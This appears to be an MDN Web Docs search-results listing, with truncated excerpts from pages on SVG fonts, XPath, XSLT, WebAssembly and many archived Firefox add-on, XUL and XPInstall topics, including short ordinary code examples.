specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-src>' in that specification.
... recommendation initial definition ...
<font-face> - SVG: Scalable Vector Graphics
WebSVGElementfont-face
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face>' in that specification.
... recommendation initial definition ...
<font> - SVG: Scalable Vector Graphics
WebSVGElementfont
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
... recommendation initial definition ...
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
ph unicode="@" d="m0,50l100,300l400,100z"></glyph> </font> </defs> <text x="100" y="100" style="font-family: 'super sans', helvetica, sans-serif; font-weight: bold; font-style: normal">text using embe@dded font!</text> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyph>' in that specification.
... recommendation initial definition ...
<glyphRef> - SVG: Scalable Vector Graphics
WebSVGElementglyphRef
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyphref>' in that specification.
... recommendation initial definition ...
<hkern> - SVG: Scalable Vector Graphics
WebSVGElementhkern
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<hkern>' in that specification.
... recommendation initial definition ...
<missing-glyph> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<missing-glyph>' in that specification.
... recommendation initial definition ...
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
... recommendation initial definition ...
<vkern> - SVG: Scalable Vector Graphics
WebSVGElementvkern
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<vkern>' in that specification.
... recommendation initial definition ...
Example - SVG: Scalable Vector Graphics
this.x = rand( width ); this.y = rand( height ); // nil initial velocity.
... this.vx = this.vy = 0; // a visual element---initially none this.elt = null; } // turn this into a class.
SVG as an Image - SVG: Scalable Vector Graphics
specifications specification status comment html5the definition of 'svg within <img> element' in that specification.
... css backgrounds and borders module level 3the definition of 'svg within 'background-image' css property' in that specification.
Gradients in SVG - SVG: Scalable Vector Graphics
to insert one, you create a <lineargradient> node inside the definitions section of your svg file.
...to create one you add a <radialgradient> element to the definitions section of your document.
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
there are an infinite number of bézier curves, but only two simple ones are available in <path> elements: a cubic one, called with c, and a quadratic one, called with q.
...because the start and end points for any path going around a circle are the same point, there are an infinite number of circles that could be chosen, and the actual path is undefined.
SVG fonts - SVG: Scalable Vector Graphics
internet explorer hasn't considered implementing this, the functionality has been removed from chrome 38 (and opera 25) and firefox has postponed its implementation indefinitely to concentrate on woff.
...the horiz-adv-x attribute determines how wide a character is on average compared to the path definitions of the single glyphs.
Same-origin policy - Web security
definition of an origin two urls have the same origin if the protocol, port (if specified), and host are the same for both.
... cookies use a separate definition of origins.
XML introduction - XML: Extensible Markup Language
document must conform to semantic rules, which are usually set in an xml schema or a dtd (document type definition).
... should know: entity character description &lt; < less than sign &gt; > greater than sign &amp; & ampersand &quot; " one double-quotation mark &apos; ' one apostrophe (or single-quotation mark) even though there are only 5 declared entities, more can be added using the document's document type definition.
string - XPath
positive infinity is converted to the string infinity.
... negative infinity is converted to the string -infinity.
XPath snippets - XPath
example: defining a custom node-specific evaluatexpath() utility function // evaluate an xpath expression aexpression against a given dom node // or document object (anode), returning the results as an array // thanks wanderingstan at morethanwarm dot mail dot com for the // initial work.
... sample usage assume we have the following xml document (see also how to create a dom tree and parsing and serializing xml): example: an xml document to use with the custom evaluatexpath() utility function <?xml version="1.0"?> <people> <person first-name="eric" middle-initial="h" last-name="jung"> <address street="321 south st" city="denver" state="co" country="usa"/> <address street="123 main st" city="arlington" state="ma" country="usa"/> </person> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west st" city="seattle" state="wa" country="usa"/> <add...
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
specifications specification status comment xslt 3.0the definition of '<xsl:stylesheet>' in that specification.
... xslt 1.0 initial definition ...
Basic Example - XSLT: Extensible Stylesheet Language Transformations
this allows fetching of data after the page has been loaded, without initiating a fresh page load.
... figure 6 : example var xslstylesheet; var xsltprocessor = new xsltprocessor(); var mydom; var xmldoc; function init(){ // load the xslt file, example1.xsl var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xsl", false); myxmlhttprequest.send(null); xslstylesheet = myxmlhttprequest.responsexml; xsltprocessor.importstylesheet(xslstylesheet); // load the xml file, example1.xml myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xml", false); myxmlhttprequest.send(null); xmldoc = myxmlhttprequest.responsexml; var fragment = xsltprocessor.transformtofragment(xmldoc, document); document.getelementbyid("example").innerhtml = ""; mydom = fragment; document.getelementbyid("example").appendchild(fragm...
Compiling an Existing C Module to WebAssembly - WebAssembly
now you only need some html and javascript to load your new module: <script src="./a.out.js"></script> <script> module.onruntimeinitialized = async _ => { const api = { version: module.cwrap('version', 'number', []), }; console.log(api.version()); }; </script> and you will see the correct version number in the output: note: libwebp returns the current version a.b.c as a hexadecimal number 0xabc.
...for that, you need to expose two additional functions — one that allocates memory for the image inside wasm and one that frees it up again: #include <stdlib.h> // required for malloc definition emscripten_keepalive uint8_t* create_buffer(int width, int height) { return malloc(width * height * 4 * sizeof(uint8_t)); } emscripten_keepalive void destroy_buffer(uint8_t* p) { free(p); } the create_buffer() function allocates a buffer for the rgba image — hence 4 bytes per pixel.
2015 MDN Fellowship Program - Archive of obsolete content
specific projects (we encourage you to target one of these in your application): testthewebforward brief project description mozilla participates in an important w3c open testing initiative, testthewebforward.com.
Window: userproximity event - Archive of obsolete content
specifications specification status proximity sensorthe definition of 'proximity events' in that specification.
Interacting with page scripts - Archive of obsolete content
in this example, "main.js" creates a page-mod to target the page we are interested in: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" creates and dispatches a custom dom event, using initcustomevent()'s detail parameter to supply the payload: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, { hello: 'world' }); document.documentelement.dispatchevent(event); } </script> <button onclick="sendmessage()">s...
Contributor's Guide - Archive of obsolete content
each class defines one or more members, which are initialized to a given value when the class is instantiated.
Guides - Archive of obsolete content
sdk api lifecycle definition of the lifecycle for the sdk's apis, including the stability ratings for apis.
page-worker - Archive of obsolete content
globals constructors page(options) creates an uninitialized page worker instance.
passwords - Archive of obsolete content
or_joe() { require("sdk/passwords").search({ username: "joe", url: "https://www.google.com", oncomplete: function oncomplete(credentials) { credentials.foreach(function(credential) { console.log(credential.username); console.log(credential.password); }); } }); } to retrieve only credentials associated with your add-on, use the url property, initialized from self.uri: function show_my_addon_passwords() { require("sdk/passwords").search({ url: require("sdk/self").uri, oncomplete: function oncomplete(credentials) { credentials.foreach(function(credential) { console.log(credential.username); console.log(credential.password); }); } }); } parameters options : object required options: ...
simple-storage - Archive of obsolete content
quotausage a number in the range [0, infinity) that indicates the percentage of quota occupied by storage.
url - Archive of obsolete content
for example: var url = require("sdk/url").url("https://developer.mozilla.org/add-ons?example=true&visible=yes#top"); console.log(url.hostname); // developer.mozilla.org pathname an initial '/' followed by the path of the url, as a string.
content/loader - Archive of obsolete content
loader adds code to initialize and validate a set of properties for managing content scripts: contenturl contentscript contentscriptfile contentscriptwhen contentscriptoptions allow when certain of these properties are set, the loader emits a propertychange event, enabling its users to take the appropriate action.
content/worker - Archive of obsolete content
the script may not be initialized yet, or may already have been unloaded you can handle the detach event in the content script itself though: // in content script self.port.on("detach", function() { window.close(); }); ...
core/promise - Archive of obsolete content
for example grouping promises to observe single resolution of all of them is as simple as this: var group = promised(array); var abc = group(aasync, basync, casync).then(function(items) { return items[0] + items[1] + items[2]; }); all the all function is provided to consume an array of promises and return a promise that will be accepted upon the acceptance of all the promises in the initial array.
event/target - Archive of obsolete content
methods initialize() method initializes this event source.
lang/type - Archive of obsolete content
let { isempty } = require('sdk/lang/type'); isempty({}); // true isempty({ init: false }); // false parameters value : object the variable to check.
ui/frame - Archive of obsolete content
if the frame script initiates the conversation, you need to specify "*" as the origin: window.parent.postmessage("ping", "*"); if the frame script has received a message from the add-on already, it can use the origin property of the event object passed to the message hander: // listen for messages from the add-on, and send a reply window.addeventlistener("message", function(event) { event.source.postmessage("pong", ...
package.json - Archive of obsolete content
creating a manifest the package.json file is initially generated in your add-on's root directory the first time you run jpm init.
Creating annotations - Archive of obsolete content
it is initially off: var matchedelement = null; var originalbgcolor = null; var active = false; function resetmatchedelement() { if (matchedelement) { (matchedelement).css('background-color', originalbgcolor); (matchedelement).unbind('click.annotator'); } } self.on('message', function onmessage(activation) { active = activation; if (!active) { resetmatchedelement(); } }); this sele...
Storing annotations - Archive of obsolete content
first, import the simple-storage module with a declaration like: var simplestorage = require('sdk/simple-storage'); in the module scope, initialize an array which will contain the stored annotations: if (!simplestorage.storage.annotations) simplestorage.storage.annotations = []; now we'll add a function to the module scope which deals with a new annotation.
Display a Popup - Archive of obsolete content
the add-on consists of seven files: package.json: created when you run jpm init index.js: the main add-on code, that creates the button and panel get-text.js: the content script that interacts with the panel content text-entry.html: the panel content itself, specified as html icon-16.png, icon-32.png, and icon-64.png: icons for the button in three different sizes the "index.js" looks like this: var data = require("sdk/self").data; // construct a panel, loading its con...
Logging - Archive of obsolete content
the console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world!
Modifying Web Pages Based on URL - Archive of obsolete content
run jpm init, accepting all the defaults open the file index.js and add the code above run jpm run open ietf.org in the browser window that opens.
Unit Testing - Archive of obsolete content
to begin with, create a new directory, navigate to it, and run jpm init.
Localization - Archive of obsolete content
t the "other" category does not take the cldr keyword): # en-us translations tomato_id[one]= %d tomato tomato_id= %d tomatoes in russian we could have four plural localizations: # ru-ru translations tomato_id[one]= %d помидор tomato_id[few]= %d помидора tomato_id[many]= %d помидоров tomato_id= %d помидоры the localization module itself understands the cldr definitions for each language, enabling it to map between, for example, "2" in the code and "few" in the ru-ru.properties file.
Bootstrapped extensions - Archive of obsolete content
la.dtd"> must add xmlns attribute to html tag for example: <html xmlns="http://www.w3.org/1999/xhtml"> if you have multiple dtd files read on here: using multiple dtds the bare minimum needed is: file: install.rdf file: chrome.manifest file: bootstrap.js folder: locale folder: valid_locale_here file: anything.dtd the chrome.manifest file must include a definition for content for example: content name_of_your_addon ./ the chrome.manifest file must also include a line pointing to the locale, just like in the above property section, if you had a folder named en-us in locale, the chrome.manifest file should contain: locale name_of_your_addon en-us locale/ here is an example add-on that opens an html page and a xul page on install: github :: l10n-xhtml-xu...
Bookmarks - Archive of obsolete content
initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarks...
JS XPCOM - Archive of obsolete content
for example, var nsfile = components.constructor("@mozilla.org/file/local;1", "nsifile", "initwithpath"); var file = new nsfile(filepath); they can also be created and initialized manually: var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsifile); file.initwithpath(filepath); this creates a new instance of the object with contract id @mozilla.org/file/local;1 and allows you to call methods from the nsifile interfac...
Running applications - Archive of obsolete content
var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); file.initwithpath("c:\\myapp.exe"); file.launch(); references nsiprocess nsilocalfile if you need to launch an executable bundled in your xpi, see code snippets:file i/o#getting your extension's folder.
Delayed Execution - Archive of obsolete content
some example usages include: const timer = components.constructor("@mozilla.org/timer;1", "nsitimer", "initwithcallback"); function delay(timeout, func) { let timer = new timer(function () { // remove the reference so that it can be reaped.
Windows - Archive of obsolete content
re-using and focusing named windows while specifying the name parameter to window.open or window.opendialog will prevent multiple windows of that name from opening, each call will actually re-initialize the window and thus lose whatever state the user has put it in.
Communication between HTML and your extension - Archive of obsolete content
after the html component was update with the result of the ajax request, i created and dispatched the event like this: var event = document.createevent("events"); event.initevent("my-custom-event", true, true); document.body.dispatchevent(event); in the code of the extension that catches the loading of a new page i added this code: var doc = aevent.originaltarget; // doc is document that triggered "onload" event // do something with the loaded page.
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
in particular, the initial step involves building mozilla, which is a huge - nay, gargantuan!
Chapter 1: Introduction to Extensions - Archive of obsolete content
safely installs and uninstalls add-ons makes sure add-ons are compatible with the version of firefox you're using manages a whitelist of sites trusted for installing add-ons helps troubleshoot add-ons by disabling them and offering a safe mode confirms and runs updates provides access to add-ons' settings dialogs provides access to add-ons' support sites development environment amenities initially, there wasn't adequate documentation available, and extension developers were largely left to fend for themselves1; however, now there's a considerable store of knowledge.
Adding sidebars - Archive of obsolete content
the load event is fired every time the sidebar is opened, and unload every time it's closed, so you can use those for initialization and clean up .
Intercepting Page Loads - Archive of obsolete content
here's a code sample that keeps track of your progress listeners for all tabs: init : function() { gbrowser.browsers.foreach(function (browser) { this._toggleprogresslistener(browser.webprogress, true); }, this); gbrowser.tabcontainer.addeventlistener("tabopen", this, false); gbrowser.tabcontainer.addeventlistener("tabclose", this, false); }, uninit : function() { gbrowser.browsers.foreach(function (browser) { this ._toggleprogresslistener(browser.webprogress...
Setting Up a Development Environment - Archive of obsolete content
it's definitely worth a try.
The Essentials of an Extension - Archive of obsolete content
if you're unfamiliar with javascript or this particular syntax, initializing an object as {} is the equivalent of initializing it to new object().
Signing an XPI - Archive of obsolete content
initialize the certificate database decide which folder to create the certificate database in.
Updating addons broken by private browsing changes - Archive of obsolete content
idls nsitransferable: see using the clipboard for information about the new init method.
Adding preferences to an extension - Archive of obsolete content
var stockwatcher = { prefs: null, tickersymbol: "", // initialize the extension startup: function() { // register to receive notifications of preference changes this.prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice) .getbranch("extensions.stockwatcher2."); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getcharpref("symbo...
Underscores in class and ID Names - Archive of obsolete content
a common substitute is the hyphen character (-), as in: p.urgent-note {color: maroon;} many authors choose instead to use camel case names such as this: p.urgentnote {color: maroon;} if the initial-cap approach is used, however, remember that class and id names are also supposed to be case-sensitive.
Creating a dynamic status bar extension - Archive of obsolete content
="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://stockwatcher/content/stockwatcher.js"/> <!-- firefox --> <statusbar id="status-bar"> <statusbarpanel id="stockwatcher" label="loading..." tooltiptext="current value" onclick="stockwatcher.refreshinformation()" /> </statusbar> </overlay> also, notice that the definition of the status bar panel now includes a new property, onclick, which references the javascript function that will be executed whenever the user clicks on the status bar panel.
DOMSubtreeModified - Archive of obsolete content
this event has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is changed via cssom for example).
chargingtimechange - Archive of obsolete content
returns positive infinity, if the battery is discharging or if the implementation is unable to report the remaining charging time.
dischargingtimechange - Archive of obsolete content
returns positive infinity if the battery is charging, if the implementation is unable to report the remaining discharging time, or if there is no battery attached to the system.
Getting the page URL in NPAPI plugin - Archive of obsolete content
there's unfortunately no trivial way to do that, but you can still do it, by asking the browser for the page url during plugin initialization.
Install.js - Archive of obsolete content
this.profileinstall = install.confirm('install ' + this.extfullname + ' ' + this.extversion + ' to your profile directory (ok) or your browser directory (cancel)?'); } // init install var dispname = this.extfullname + ' ' + this.extversion; var regname = '/' + this.extauthor + '/' + this.extshortname; install.initinstall(dispname, regname, this.extversion); // find directory to install into var installpath; if (this.profileinstall) installpath = profiledir; else installpath = install.getfolder('chrome'); // add jar file install.addfile(null, 'ch...
List of Former Mozilla-Based Applications - Archive of obsolete content
ed tool (need reference for that) miro (formerly democracy player) video switched from xulrunner to webkit in version 3.0.2 moblin browser browser when moblin became meego it switched from a custom gecko-based browser to chrome nautilus file manager hasn't used mozilla code since version 2.0 raptr client gaming client was a xulrunner app initially but now uses adobe air rift technologies software installation over internet no longer using mozilla technology -- need confirmation and details second life virtual world desktop client switched from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name description add...
Creating a Web based tone generator - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript audio write example</title> </head> <body> <input type="text" size="4" id="freq" value="440"><label for="hz">hz</label> <button onclick="start()">play</button> <button onclick="stop()">stop</button> <script type="text/javascript"> function audiodatadestination(samplerate, readfn) { // initialize the audio output.
No Proxy For configuration - Archive of obsolete content
initially, proxy servers were used for access control and performance.
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
<param name="src" ...> is equivalent to srcspecifies an url for the initial stream of data to feed the plug-in.
Bookmark Keywords - Archive of obsolete content
searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks.
Creating a Firefox sidebar extension - Archive of obsolete content
bar.title;" autocheck="false" type="checkbox" group="sidebar" sidebarurl="chrome://emptysidebar/content/emptysidebar.xul" sidebartitle="&emptysidebar.title;" oncommand="togglesidebar('viewemptysidebar');" /> </broadcasterset> </overlay> the overlay file consists of three entries, the menu definition, shortcut keys and the broadcaster.
Adding the structure - Archive of obsolete content
the status attribute is not part of the xul definition for the statusbarpanel element, but is used by our extension to store the current tinderbox state.
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
for the mozilla codebase."> </rdf:description> <rdf:seq about="urn:mozilla:overlays"> <rdf:li resource="chrome://navigator/content/navigator.xul"/> </rdf:seq> <rdf:seq about="chrome://navigator/content/navigator.xul"> <rdf:li>chrome://tinderstatus/content/tinderstatusoverlay.xul</rdf:li> </rdf:seq> </rdf:rdf> install.js, on the other hand, goes into the tinderstatus-installer directory: initinstall( "mozilla tinderstatus extension", "/mozdev/tinderstatus", "0.1"); var installdir = getfolder("chrome","tinderstatus"); setpackagefolder(installdir); adddirectory("tinderstatus"); registerchrome( content | delayed_chrome, getfolder(installdir, "content")); var result = performinstall(); if ( result != success ) cancelinstall(result); once all the files are...
Dehydra Frequently Asked Questions - Archive of obsolete content
initially dehydra was written as an easy way to look for patterns in control flow graphs (cfgs).
Dehydra Function Reference - Archive of obsolete content
process_function(decl, body) dehydra calls this for each function definition (declarations without bodies are not included), including both top-level functions, class member functions, and inline class member functions.
Dehydra Object Reference - Archive of obsolete content
.parameters array of variable objects a function definition's parameter names and types .memberof aggregate type object indicates the aggregate type(class/struct) in the type system that this variable is a member of.
Download Manager preferences - Archive of obsolete content
in firefox 3 and earlier, the default is 0 (except on windows vista, where it's toggled to 1 on initial launch).
Drag and Drop JavaScript Wrapper - Archive of obsolete content
some elements may be able to initiate a drag and accept a drop.
Embedding FAQ - Archive of obsolete content
scroll down to "initalization and teardown.
Layout System Overview - Archive of obsolete content
perform the initial layout, or initial reflow, on the newly constructed frame.
Firefox Sync - Archive of obsolete content
these include: an http api for client-server interaction storage formats used by the the clients cryptographic model for encrypting client data the definitive source for these specifications is http://docs.services.mozilla.com/.
GRE - Archive of obsolete content
initialize xpcom and do your work; when finished, shut down xpcom.
HTTP Class Overview - Archive of obsolete content
nshttphandler implements nsiprotocolhandler manages preferences owns the authentication cache holds references to frequently used services nshttpchannel implements nsihttpchannel talks to the cache initiates http transactions processes http response codes intercepts progress notifications nshttpconnection implements nsistreamlistener & nsistreamprovider talks to the socket transport service feeds data to its transaction object routes progress notifications nshttpconnectioninfo identifies a connection nshttptransaction implements nsirequest encapsulates a http request and res...
Introducing the Audio API extension - Archive of obsolete content
var prebuffersize = samplerate * 0.020; // initial buffer is 20 ms var autolatency = true, started = new date().valueof(); ...
Meta - Archive of obsolete content
first run control over the content and experience of your jetpack's initial use me introspection of your jetpack's dynamic state settings interface for defining and accessing user settings with built-in ui ...
Simple Storage - Archive of obsolete content
:(jetpack.menu.context.page.beforeshow = function (menu) { menu.reset(); if (jetpack.selection.text) menu.add({ label: "note", command: function () { notes.unshift(jetpack.selection.text); if (notes.length > 20) notes.pop(); updatejetpackmenu(); } });};// initialize the jetpack menu with the current notes.updatejetpackmenu(); see also settings jep 11 ...
Simple Storage - Archive of obsolete content
:( jetpack.menu.context.page.beforeshow = function (menu) { menu.reset(); if (jetpack.selection.text) menu.add({ label: "note", command: function () { notes.unshift(jetpack.selection.text); if (notes.length > 20) notes.pop(); updatejetpackmenu(); } }); }; // initialize the jetpack menu with the current notes.
Modularization techniques - Archive of obsolete content
for those who like gory details, their structure is this: struct nsid { pruint32 m0; pruint16 m1, m2; pruint8 m3[8]; }; frequently you see them represented as strings, like this: {221ffe10-ae3c-11d1-b66c-00805f8a2676} to initialize an id struct you declare them like this: id = {0x221ffe10, 0xae3c, 0x11d1, {0xb6, 0x6c, 0x00, 0x80, 0x5f, 0x8a, 0x26, 0x76}}; why the b66c couplet gets broken up and grouped with the last set of bytes is probably a footnote somewhere.
Monitoring downloads - Archive of obsolete content
onload: function() { // initialization code this.initialized = true; this.strings = document.getelementbyid("downloadlogger-strings"); this.dlmgr = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); this.dlmgr.addlistener(downloadlogger); // open the database, placing its file in the profile directory this.dbfile = compo...
How to Write and Land Nanojit Patches - Archive of obsolete content
we land patches initially in nanojit-central, and those landings are followed up with semi-automated landings on tracemonkey and tamarin-redux.
Plug-n-Hack Phase1 - Archive of obsolete content
for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions.
Standalone XPCOM - Archive of obsolete content
nsnativecomponentloader: autoregistering succeeded inital print: initial value set value to: xpcom defies gravity final print : xpcom defies gravity test passed.
Static Analysis for Windows Code under Linux - Archive of obsolete content
this makes it easy to apply patches, they can be applied manually hg init .
Supporting private browsing mode - Archive of obsolete content
function privatebrowsinglistener() { this.init(); } privatebrowsinglistener.prototype = { _os: null, _inprivatebrowsing: false, // whether we are in private browsing mode _watcher: null, // the watcher object init : function () { this._inited = true; this._os = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); this._os.addobserver(this, "p...
The life of an HTML HTTP request - Archive of obsolete content
the initial reflow is done by the nshtmlcontentsink::startlayout(), startlayout() calls presshell::initialreflow().
Tuning Pageload - Archive of obsolete content
nglayout.initialpaint.delay this is a preference that specifies a delay, in milliseconds, after the data from the server has started coming in.
Using gdb on wimpy computers - Archive of obsolete content
you can add this function to the .gdbinit file in your home directory: def prun tbreak main run set auto-solib-add 0 end how do i load shared libraries?
Venkman Introduction - Archive of obsolete content
you can also start the browser with the -venkman command line option, which launches venkman initially instead of an application front end.
DOM Interfaces - Archive of obsolete content
idl definition interface nsidomdocumentxbl { nodelist getanonymousnodes(in element elt); element getanonymouselementbyattribute(in element elt, in domstring attrname, in domstring attrvalue); element getbindingparent(in node node); void loadbindingdocument(in domstring documenturl); }; methods getanonymousnodes the getanonymousnodes method retrieves the anonymous children of the specified element.
XBL 1.0 Reference - Archive of obsolete content
notes.html notes.xml notes.css view this example download all files (.zip archive) need to ask to adjust the server - it gives "access denied" for zip files (?) references initial xbl 1.0 proposal submitted as a note to w3c (does not reflect mozilla implementation, nor future plans) xbl 2.0 project original document information last updated date: april 24, 2006 ...
XML in Mozilla - Archive of obsolete content
see some initial design documents.
Mac stub installer - Archive of obsolete content
staller to debug you will need to do the following: create a file named xpcom.xpi with the shared libraries in the structure described under the [xpcom] section in: <http://lxr.mozilla.org/seamonkey/sou...ackages-mac#33> note that if you are using the debug target of the installer binary all shared libraries are expected to have the name format <libname>debug.shlb now set a break point at xpi_init() in the mac installer code and step into xpistub and eventually the xpinstall engine will load including symbols so you can set a break point in the xpinstall engine itself.
Unix stub installer - Archive of obsolete content
debug using "gdb mozilla-installer-bin" and set a breakpoint at xpi_init().
Install Wizards (aka: Stub Installers) - Archive of obsolete content
the stub installer calls some glue code: xpistub which resides at: < http://lxr.mozilla.org/seamonkey/sou...pinstall/stub/> this "glue" code initialized xpcom and registers the xpinstall engine and requisite components to prepare for use by the stub installer.
Install script template - Archive of obsolete content
ondary installation var errblock2 = 0; // global variable containing our secondary install location var secondaryfolder; //special error values used by the cycore developers (www.cycore.com) who helped make this install script var exceptionoccurederror = -4711; var winregisnullerror = -4712; var invalidrootkeyerror = -4713; var registrykeynotwritableerror = -4714; //initinstall block //the installation is initialized here -- if we fail here, cancel the installation // initinstall is quite an overloaded method, but i have invoked it here with three strings // which are globally defined err = initinstall(software_name, plid, version); if (err != 0) { // call initinstall again in case illegal characters in plid err = initinstall(software_name, software_name, ...
File.macAlias - Archive of obsolete content
xpisrc = "miscellaneous program"; var vi = "1.1.1.1"; initinstall( "macintosh alias", "misc", vi, 0); f = getfolder("program"); g = getfolder("mac desktop"); addfile( "filemacalias", "2.2.2.2", xpisrc, f, xpisrc, true); err = file.macalias(f, xpisrc, g, xpisrc + " alias"); logcomment("file.macalias returns: " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
File.windowsShortcut - Archive of obsolete content
var xpisrc = "misc.exe"; var vi = "1.1.1.1"; initinstall( "windows shortcut", "test", vi, 0); f = getfolder("windows"); g = getfolder("temporary"); addfile( "miscshortcut", "2.2.2.2", xpisrc, f, xpisrc, true); target = getfolder(f, xpisrc); shortcutpath = getfolder("program"); err = file.windowsshortcut( target, shortcutpath, "misc shortcut", g, "", target, 0); logcomment("file.windowsshortcut returns: " + err); if (...
Install.addDirectory - Archive of obsolete content
var vi = "10.10.10.10"; var xpisrc = "adddir1"; initinstall("addfilenovers1", "adddir_1", vi, 1); f = getfolder("program"); setpackagefolder(f); err = adddirectory(xpisrc); logcomment("the error = " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
Install.addFile - Archive of obsolete content
var xpisrc = "file.txt"; initinstall( "adding a file", "testfile", "1.0.1.7", 1); f = getfolder("program"); setpackagefolder(f); addfile(xpisrc); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
Windows Install - Archive of obsolete content
rogram, listlongfilepaths[i]); sshortfilepath = file.windowsgetshortname(flongfilepath); if(sshortfilepath) { fren8dot3ini.writestring("rename", sshortfilepath, flongfilepath); binicreated = true; } } if(binicreated) updatewinreg4ren8dot3() ; } return(0); } // main var srdest; var err; var fprogram; srdest = 449; err = initinstall(prettyname, regname, "6.0.0.2000110801"); logcomment("initinstall: " + err); fprogram = getfolder("program"); logcomment("fprogram: " + fprogram); if(verifydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put this file // (returned from getfolder) ...
InstallVersion Object - Archive of obsolete content
the init() method associates a particular version with an installversion object, the tostring() method converts versions in various formats to a string, and the compareto() method compares these string and indicates the relationship between the two versions.
cancelInstall - Archive of obsolete content
example use the following code to abort or to finalize an installation, based on a variable you set earlier in your code: initinstall("royal airways tripplanner","/royalairways/ tripplanner","1.0.0.0"); ...
getLastError - Archive of obsolete content
description use getlasterror method to obtain the most recent nonzero error code since initinstall or reseterror were called.
getWinProfile - Archive of obsolete content
file a relative pathname to an initialization file in the directory specified by the folder parameter, such as "royal/royal.ini".
performInstall - Archive of obsolete content
example use the following code to abort or to finalize an installation, based on a variable you set earlier in your code: initinstall("royal airways tripplanner", "/royalairways/tripplanner", "1.0.0.0"); ...
setPackageFolder - Archive of obsolete content
you should only call this method once, and you should always call it immediately after you call initinstall.
Methods - Archive of obsolete content
initinstall initializes installation for the given software and version.
Install Object - Archive of obsolete content
the following two lines, for example, are equivalent: f = getfolder("program"); f = install.getfolder("program"); an installation script is composed of calls to the install object, and generally takes the following form: initialize the installation call initinstall with the name of the installation and the necessary registry and version information.
XPJS Components Proposal - Archive of obsolete content
when a xpjs component module is first installed - or at autoregistration time - the xpjsmanager will load the .js file into a fresh js environment, let its top level script run to do whatever initialization it wants to do, and then it will call the module's nsregisterself function (passing the filespec of the .js file).
datepicker.value - Archive of obsolete content
« xul reference home value type: string the initial value of the datepicker in the form yyyy-mm-dd.
decimalplaces - Archive of obsolete content
the value infinity may be used if you want no limit on the number of decimal places.
max - Archive of obsolete content
ArchiveMozillaXULAttributemax
the default value is 100 for scales and infinity for number boxes.
oncommand - Archive of obsolete content
example 1: in-line code <button label="click me" oncommand="alert('hi')"/> example 2: function with source argument <button label="click me" oncommand="dosomeprocessing(event.target)"/> and here is the definition of the function: function dosomeprocessing(source) { alert("source: " + source); return true; } see also command element ...
smoothscroll - Archive of obsolete content
« xul reference home smoothscroll type: boolean true initially enables smooth scrolling for the corresponding arrowscrollbox, false disables it.
timepicker.value - Archive of obsolete content
« xul reference home value type: string the initial value of the timepicker in either the form hh:mm:ss or hh:mm.
wraparound - Archive of obsolete content
the minimum and maximum values must both not be infinity.
Attribute (XUL) - Archive of obsolete content
